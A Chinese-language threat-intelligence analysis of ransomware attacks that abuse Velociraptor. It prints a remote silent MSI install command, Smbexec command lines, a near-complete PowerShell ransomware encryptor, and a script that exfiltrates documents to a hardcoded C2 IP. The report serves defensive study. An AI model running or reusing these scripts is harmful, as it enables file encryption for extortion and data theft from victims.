
1. 簡介
最近的觀察顯示一個令人擔憂的趨勢,即像 Velociraptor 這樣合法的數位鑑識與事件回應 (Digital Forensics and Incident Response, DFIR) 工具,正被 Threat actor 在複雜的勒索軟體攻擊中重新利用 [1]。本報告深入探討 Velociraptor 這個開源端點可視性工具(Open-source endpoint visibility tool),是如何被利用來協助勒索軟體攻擊的技術細節,重點關注初始存取、持久化、防禦規避、資料加密和資料外洩的機制。分析將著重於特定的命令列執行、PowerShell 腳本,以及支撐這些非法攻擊的漏洞利用。

2. Velociraptor 在勒索軟體操作中的應用
Velociraptor 旨在讓安全團隊監控端點、收集資料並對跨各種作業系統的安全事件作出反應。然而,在觀察到的活動中, Threat actor 們利用了 Velociraptor 的過期版本 (0.73.4.0),其中包含一個權限提升漏洞 (CVE-2025-6264) [1]。這個漏洞允許任意命令執行和端點接管,將一個防禦工具轉變為攻擊性資產。
2.1. 初始存取與持久化
雖然在原始報告中,確切的初始存取向量尚未完全確定,但隨後的動作明確表明了持久化和橫向移動的意圖。攻擊者使用託管在被滲透的雲端儲存服務上的 MSI 套件安裝了 Velociraptor 。用於此安裝的命令如下 [1]:
msiexec /q /i hxxps[:]//stoaccinfoniqaveeambkp.blob.core.windows[.]net/veeam/v2.msi
此命令以靜默方式安裝 MSI 套件,為攻擊者建立了立足點。利用帶有已知漏洞的過期 Velociraptor 版本,進一步鞏固了他們的持久存取權限,即使在主機隔離之後,他們仍能重新啟動該工具 [1]。
2.2. 遠端執行與橫向移動
為了方便遠端執行和橫向移動,
Threat actor
們利用了
Smbexec
,這是 Impacket 工具包中的一個 Python 腳本。
Smbexec
能夠透過伺服器訊息區塊 (Server Message Block, SMB) 協定進行遠端程式執行,類似於 PsExec [2]。觀察到的用於執行
Smbexec
的命令涉及一個複雜的批次腳本,旨在遠端執行命令並在執行後進行清理 [1]:
%COMSPEC% /Q /c echo cd ^> \\%COMPUTERNAME%\C$\__output 2^>^&1 > %SYSTEMROOT%\TkTvjYUp.bat & %COMSPEC% /Q /c %SYSTEMROOT%\TkTvjYUp.bat & del %SYSTEMROOT%\TkTvjYUp.bat C:\Windows\System32\cmd.exe cmd.exe /Q /c cmd /c c:\windows\temp\1.bat /y 1> \Windows\Temp\suLGnR 2>&1
此命令序列示範了嘗試透過 SMB 在遠端系統上執行一個暫時的批次檔案 (
TkTvjYUp.bat
),重新導向輸出,然後刪除暫時檔案以最大限度地減少鑑識痕跡。第二行進一步從暫存目錄執行另一個批次檔案 (
1.bat
),表明這是一個多階段的執行程序。
2.3. 防禦規避
這些攻擊的一個關鍵點涉及廣泛的防禦規避技術。攻擊者修改了 Active Directory 群組原則物件 (Group Policy Objects, GPOs) 以關閉關鍵安全功能 [1]:
- 啟用「關閉即時保護」
- 關閉「行為監控」
- 關閉「監控電腦上的檔案和程式活動」
這些修改顯著降低了端點偵測與回應(Endpoint Detection and Response, EDR) 解決方案的有效性,允許勒索軟體和其他惡意攻擊在未被偵測的情況下進行。無檔案的 PowerShell 腳本的使用也有助於規避,因為它們在記憶體中運作,在磁碟上留下的痕跡更少 [3]。
3. 勒索軟體加密機制
主要的加密功能是透過一個無檔案的 PowerShell 腳本做 Deliver。這個腳本負責生成加密 key 、加密檔案,並將一個獨特的副檔名附加到加密的檔案。該腳本利用 AES-256 加密檔案內容,並使用 RSA 加密 AES key ,這是勒索軟體中常見的混合加密方案 [4]。
- function GER($n) {
- # Generates a random string of length $n using a predefined character set.
- # This is likely used to generate the AES key and IV.
- -join (1..$n|%{"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()-=+[]{}|;:",.<>?`~"[(Get-Random -Maximum 74)]})}
- function err($pl,$sf){
- # Encrypts a plaintext ($pl) using an RSA public key ($sf).
- # This function is used to encrypt the generated AES key and IV.
- $rsa=New-Object System.Security.Cryptography.RSACryptoServiceProvider;
- $rsa.FromXmlString($sf);
- $PB=[Text.Encoding]::UTF8.GetBytes($pl);
- $rsa.Encrypt($PB,$false)
- }
- function gg($path) {
- # Main encryption logic for a given path.
- # Generates AES key ($ke) and IV ($ig), and encrypts them with a hardcoded RSA public key ($sf).
- $ke = GER(32); # 32-byte AES key
- $ig =GER(16); # 16-byte IV
- $sf = 'tdIXltqjmTpXRB43p+k6X9+JqBZvsD7+X4GsM0AVh0QS6Oev5RVAaQqc6m2pEKN7AYARcpz9iNy5JOB/T+OtWmqxd42bLH+iAUjc1kc1qk1Cg38t7obrGja8L7UMoJkb97ry0ngak9BlqaS7P+wzApOLVJoBNxaJ2rCoj7+Crh3p3Vm2/7/o4pMjgg4S838jw6aiRbag/v4SR86oupqjBvKxsAcZo5A4NDFoZ29j/IMa6GNpMkVjsNPjvB/GIqGcbTqJkb8HGSXw3KvHqwqfsB+01VTsbO7B8kIkOr4jB/M+bHFwgYkUG4rS2s/yJcOOkzH0tJwEj11tLv2bHSzoQQ==AQAB';
- $eec=err -pl $ke+$ig -sf $sf; # Encrypts combined key and IV
- $eee=[System.Convert]::ToBase64String($eec); # Base64 encodes the encrypted key/IV
- $key=[System.Text.Encoding]::UTF8.GetBytes($ke);
- $iv=[System.Text.Encoding]::UTF8.GetBytes($ig);
- try{
- # Recursively finds files with specific extensions for encryption.
- $files=gci $path -Recurse -Include .pdf,.txt, *.doc, *.docx, *.odt, *.rtf, *.md, *.csv, *.tsv, *.jpg, *.jpeg, *.tiff, *.mp3, *.xls, *.xlsx, *.ods, *.ppt, *.pptx, *.odp, *.py, *.java, *.cpp, *.c, *.html, *.css, *.js, *.php, *.swift, *.kotlin, *.go, *.rb, *.sh, *.sql, *.db, *.sqlite, *.sqlite3, *.mdb, *.sql, *.zip, *.rar, *.7z, *.tar, *.gz, *.bz2, *.iso, *.torrent, *.ini, *.json, *.xml, *.log, *.bak, *.cfg, *.psd, *.vmdk | select -Expand FullName;
- foreach ($file in $files) { try {EFI $file $key $iv $eee} catch{}}
- } catch {Write-Host $ }
- }
- function EFI($ifi,$key,$iv,$aT) {
- # Encrypts a single file ($ifi) using AES with the provided key ($key) and IV ($iv).
- # Appends the encrypted AES key/IV ($aT) to the end of the encrypted file.
- if($ifi.EndsWith(".xlockxlock", [System.StringComparison]::OrdinalIgnoreCase)) {return}; # Avoid re-encrypting already encrypted files
- $aes = [System.Security.Cryptography.Aes]::Create();
- $aes.KeySize = 256;
- $aes.Key=$key;
- $aes.IV=$iv;
- try{
- $yy=New-Object System.IO.FileStream($ifi, [System.IO.FileMode]::Open,[System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::None);
- $xx=$aes.CreateEncryptor($aes.Key, $aes.IV);
- $mm = New-Object System.Security.Cryptography.CryptoStream($yy, $xx, [System.Security.Cryptography.CryptoStreamMode]::Write);
- $yy.Seek(0, [System.IO.SeekOrigin]::Begin) | Out-Null;
- $jj = New-Object byte[] ($yy.Length);
- $yy.Read($jj, 0, $jj.Length) | Out-Null;
- $yy.Seek(0, [System.IO.SeekOrigin]::Begin) | Out-Null;
- $mm.Write($jj, 0, $jj.Length);
- $mm.FlushFinalBlock();
- $se = 1
- } catch { Write-Error $_ } finally {
- if ($mm) { $mm.Dispose() }
- if ($yy) { $yy.Dispose() }
- }
- try {
- $kk = [System.Text.Encoding]::UTF8.GetBytes($aT);
- $bb = New-Object System.IO.FileStream($ifi,[System.IO.FileMode]::Append,[System.IO.FileAccess]::Write,[System.IO.FileShare]::None);
- if ($se){$bb.Write($kk, 0, $kk.Length)}
- } catch {Write-Error $_} finally {
- if ($bb) { $bb.Dispose();if ($se){ren $ifi -NewName $ifi".xlockxlock";}}
- }
- }
- # Iterates through all accessible drives and initiates the encryption process.
- $vg =gdr -PS FileSystem | select -Expand Root;
- foreach ($II in $vg) {gg -path "$II"}
該腳本定義了三個主要函數:用於生成隨機字串的
GER
、用於 RSA 加密的
err
,以及協調檔案加密程序的
gg
。
EFI
函數執行單個檔案的實際 AES 加密,並將 RSA 加密的 AES
key
和 IV 附加到加密檔案的末尾。檔案會被重新命名為
.xlockxlock
副檔名,表示已被 Warlock 變種加密 [1]。
3.1. 加密程序流程
4. 資料外洩機制
除了加密之外, Threat actor 們還透過外洩敏感資料來進行雙重勒索。這是透過另一個 PowerShell 腳本實現的,該腳本旨在將特定檔案類型上傳到攻擊者控制的伺服器 [1]。
- function GR {$numbers = 1..20;$numbers | Get-Random } # Generates a random number between 1 and 20
- function Upfile {
- param (
- [string]$path = "C:\Users\", # Default path to start searching for files
- [int]$maxConcurrentJobs = 40 # Maximum number of concurrent upload jobs
- )
- Add-Type -AssemblyName System.Web # Required for UrlEncode
- try {
- $files = Get-ChildItem -Path $path -Recurse -Include *.doc,*.docx,*.xlsx,*.ppt,*.pptx,*.xls -ErrorAction SilentlyContinue | # Filters for specific document types
- Where-Object { $_.Length -lt 50MB } | # Excludes files larger than 50MB
- Select-Object -ExpandProperty FullName # Gets full path of files
- $uploadScriptBlock = {
- param ($file, $grValue) # Parameters for the background job: file path and a random value
- try {
- Add-Type -AssemblyName System.Web
- $fileName = Split-Path -Path $file -Leaf # Extracts file name from path
- $encodedFileName = [System.Web.HttpUtility]::UrlEncode($fileName) # URL-encodes the filename
- $uploadUrl = "http[:]//65.38.121[.]226/test/$encodedFileName" # Attacker's C2 server for exfiltration
- Write-Host "upload $file to $uploadUrl"
- $ProgressPreference = 'SilentlyContinue' # Suppresses progress bar to evade detection
- $maxRetries = 3;$retryCount = 0
- while ($retryCount -lt $maxRetries) {
- try {
- $wc = New-Object System.Net.WebClient;$wc.UploadFile($uploadUrl, "PUT", $file) | Out-Null # Uploads file via HTTP PUT
- Write-Host "upload Sucess $fileName"
- break
- }
- catch {
- $retryCount++
- Write-Host "upload $fileName retry $retryCount error: $_"
- Start-Sleep -Seconds 2 # Pauses to evade detection and handle network issues
- }
- finally {$wc.Dispose()}
- }
- }
- catch {
- Write-Host "upload $fileName error: $_"
- }
- finally {$wc.Dispose()}
- }
- $grValue = GR # Get a random value, possibly for obfuscation or tracking
- $jobs = @()
- foreach ($file in $files) {
- while ((Get-Job -State Running).Count -ge $maxConcurrentJobs) {Start-Sleep -Milliseconds 100} # Limits concurrent jobs
- $jobs += Start-Job -ScriptBlock $uploadScriptBlock -ArgumentList $file, $grValue # Starts background jobs for uploads
- }
- $jobs | Wait-Job | ForEach-Object {
- Receive-Job -Job $_ -Keep
- Remove-Job -Job $_ # Cleans up background jobs
- }
- } catch {
- Write-Host "getfile error: $_"
- }
- }
- $drives = @("C:\Users\", "D:\", "E:\", "F:\", "K:\") # Target drives for exfiltration
- foreach ($drive in $drives) {
- if (Test-Path $drive) {Upfile -Path $drive }
- else {Write-Host "Drive $drive is not accessible." -ForegroundColor Yellow}
- }
Upfile
函數是外洩程序的中心。它遞迴搜尋指定的磁碟機,尋找特定大小限制 (50MB) 下的文件檔案 (例如:
.doc
、
.docx
、
.xlsx
)。然後,每個被識別的檔案都會使用
HTTP PUT Request
上傳到一個
hardcoded
的 C2 伺服器 (
http[:]//65.38.121[.]226/test/
)。為了規避偵測,腳本將
$ProgressPreference
設定為
SilentlyContinue
,並納入了
Start-Sleep
cmdlet,這可以繞過執行時間有限的沙箱分析環境 [1]。
4.1. 資料外洩流程
5. MITRE ATT&CK 技術
觀察到的攻擊與多項 MITRE ATT&CK 技術相符,提供了對攻擊者戰術、技術和程序 (Tactics, Techniques, and Procedures, TTPs ) 的結構化理解 [1]:
- Resource Development (資源開發): T1584.003 Compromise Infrastructure: Virtual Private Server
- Execution (執行): T1059.001 PowerShell
- Persistence (持久化): T1136 Create Account, T1505.006 Server Software Component: vSphere Installation Bundles
- Privilege Escalation (權限提升): T1098.007 Account Manipulation: Additional Local or Domain Groups, T1098 Account Manipulation
- Defense Evasion (防禦規避): T1556 Modify Authentication Process, T1484.001 Domain or Tenant Policy Modification: Group Policy Modification
- Lateral Movement (橫向移動): T1021.001 Remote Services: Remote Desktop Protocol
- Collection (收集): T1213 Data from Information Repositories
- Exfiltration (資料外洩): T1041 Exfiltration Over C2 Channel
- Impact (影響): T1486 Data Encrypted for Impact, T1657 Financial Theft
6. 結論
Velociraptor 在最近的勒索軟體攻擊中被利用,突顯了 Threat actor 將合法工具武器化以達成其目標的趨勢日益增長。對 PowerShell 加密和外洩腳本的詳細分析,揭示了透過資料加密和雙重勒索來保持隱匿、規避偵測並最大化影響的複雜技術。了解這些技術細節對於制定強健的防禦策略和加強應對不斷演變的網路威脅的事件回應能力至關重要。